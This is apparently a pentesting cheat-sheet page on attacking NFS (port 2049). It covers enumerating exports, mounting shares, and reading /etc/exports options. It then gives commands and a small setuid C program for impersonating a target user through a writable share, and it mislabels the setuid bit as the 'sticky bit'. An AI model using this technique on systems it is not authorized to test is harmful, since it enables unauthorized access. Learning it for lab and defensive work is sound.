PORT 2049/tcp - NFS
Network File System is a distributed file system protocol originally developed by Sun Microsystems in 1984, allowing a user on a client computer to access files over a computer network much like local storage is accessed.
Enumeration
showmount
gives us the opportunity to know which folder are available for us.
showmount -e <IP>
Mounting the folder
We can mount the folder with mount
command.
mount -t nfs [-o vers=2] <IP>:<NFS_FOLDER> <LOCAL_FOLDER> -o nolock
Configuration
The file /etc/exports
show the NFS configuration applied on the server.
$ cat /etc/exports
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash
rw
: Means that we can read and write any file on the share.root_squash
(default): Maps all the requests from UID/GID 0 to the anonymous UID/GID.no_root_squash
: All requests from UID/GID 0 are not mapped to the anonymous UID/GID.no_all_squash
(default): Not map all the requests from other UID/GID to the anonymous UID/GID .
Impersonate a User (No Root)
So what weβll do is add the user frank (user to impersonate) on our kali machine and change his id to 1000 (Assigned on the target).
β― useradd frank
β― cat /etc/passwd | grep frank
frank:x:1000:1000::/home/frank:/bin/sh
Next step is create a setuid.c
file:
#include <unistd.h>
int main()
{
setreuid(1000,1000);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}
Then compile it:
gcc setuid.c -o setuid
Set the sticky bit on the file:
chmod u+s setuid
And execute it on the target machine.
References
Last updated
Was this helpful?